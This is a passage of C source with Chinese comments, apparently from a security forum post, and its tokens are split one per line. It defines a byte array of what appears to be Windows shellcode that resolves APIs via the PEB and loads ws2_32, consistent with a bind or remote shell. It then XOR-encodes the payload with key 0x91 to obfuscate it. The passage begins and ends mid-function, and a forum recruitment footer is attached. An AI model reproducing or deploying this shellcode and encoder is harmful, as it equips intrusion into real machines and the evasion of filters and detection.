);
if
(display_flag)
/
/
打印
{
for
(i
=
0
; i <
len
; i
+
+
)
{
printf(
"%0.2x "
, output[i]);
if
((i
+
1
)
%
16
=
=
0
)
{
printf(
"\n"
);
}
}
}
free(output);
}
int
_tmain(
int
argc, _TCHAR
*
argv[])
{
char codetest[]
=
{
0x8B
,
0xC4
,
0x83
,
0xC0
,
0x1d
,
0xEB
,
0x13
,
0xA3
,
0x2B
,
0x10
,
0x6B
,
0x1B
,
0xA5
,
0xC7
,
0xC5
,
0x33
,
0xB4
,
0x11
,
0xFA
,
0x71
,
0xE9
,
0x81
,
0xEF
,
0x43
,
0x4D
,
0x64
,
0x99
,
0x96
,
0x8D
,
0x7E
,
0xF0
,
0x64
,
0x8B
,
0x5A
,
0x30
,
0x8B
,
0x4B
,
0x0C
,
0x8B
,
0x49
,
0x1C
,
0x8B
,
0x09
,
0x8B
,
0x69
,
0x08
,
0xB6
,
0x03
,
0x2B
,
0xE2
,
0x66
,
0xBA
,
0x33
,
0x32
,
0x52
,
0x68
,
0x77
,
0x73
,
0x32
,
0x5F
,
0x54
,
0x66
,
0xAD
,
0x66
,
0x3D
,
0xC7
,
0xC5
,
0x75
,
0x06
,
0x95
,
0xFF
,
0x57
,
0xF4
,
0x95
,
0x57
,
0x60
,
0x8B
,
0x45
,
0x3C
,
0x8B
,
0x4C
,
0x05
,
0x78
,
0x03
,
0xCD
,
0x8B
,
0x59
,
0x20
,
0x03
,
0xDD
,
0x33
,
0xFF
,
0x47
,
0x8B
,
0x34
,
0xBB
,
0x03
,
0xF5
,
0x99
,
0x33
,
0xC0
,
0x33
,
0xD2
,
0xAC
,
0x34
,
0x71
,
0x66
,
0x2B
,
0xD0
,
0x66
,
0xD1
,
0xC2
,
0x3C
,
0x71
,
0x75
,
0xF3
,
0x66
,
0x3B
,
0x54
,
0x24
,
0x1C
,
0x75
,
0xE1
,
0x8B
,
0x59
,
0x24
,
0x03
,
0xDD
,
0x66
,
0x8B
,
0x3C
,
0x7B
,
0x8B
,
0x59
,
0x1C
,
0x03
,
0xDD
,
0x03
,
0x2C
,
0xBB
,
0x95
,
0x5F
,
0xAB
,
0x57
,
0x61
,
0x3B
,
0xF7
,
0x75
,
0xA8
,
0x5E
,
0x54
,
0x6A
,
0x02
,
0xAD
,
0xFF
,
0xD0
,
0x88
,
0x46
,
0x13
,
0x8D
,
0x48
,
0x30
,
0x8B
,
0xFC
,
0xF3
,
0xAB
,
0x40
,
0x50
,
0x40
,
0x50
,
0xAD
,
0xFF
,
0xD0
,
0x95
,
0xB8
,
0x02
,
0xFF
,
0x1A
,
0x0A
,
0x32
,
0xE4
,
0x50
,
0x54
,
0x55
,
0xAD
,
0xFF
,
0xD0
,
0x85
,
0xC0
,
0x74
,
0xF8
,
0xFE
,
0x44
,
0x24
,
0x2D
,
0x83
,
0xEF
,
0x6C
,
0xAB
,
0xAB
,
0x58
,
0x54
,
0x54
,
0x50
,
0x50
,
0x50
,
0x54
,
0x50
,
0x50
,
0x56
,
0x50
,
0xFF
,
0x56
,
0xE4
,
0x53
,
0x6A
,
0xFF
,
0xFF
,
0x56
,
0xE8
,
0x90
};
encoder(codetest,
0x91
,
1
);
/
/
通过和
0x91
异或输出到文件encode.txt,以及打印出来
system(
"pause"
);
return
0
;
}
/
/
对shellcode进行编码
void encoder(char
*
input
, unsigned char key,
int
display_flag)
{
int
i
=
0
,
len
=
0
;
FILE
*
fp;
unsigned char
*
output
=
0
;
len
=
strlen(
input
);
output
=
(unsigned char
*
)malloc(
len
+
1
);
if
(!output)
{
printf(
"内存申请失败!\n"
);
system(
"pause"
);
exit(
0
);
}
/
/
encode the shellcode
for
(i
=
0
; i <
len
; i
+
+
)
{
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-5-22 18:01
被舒默哦编辑
,原因: 更正错误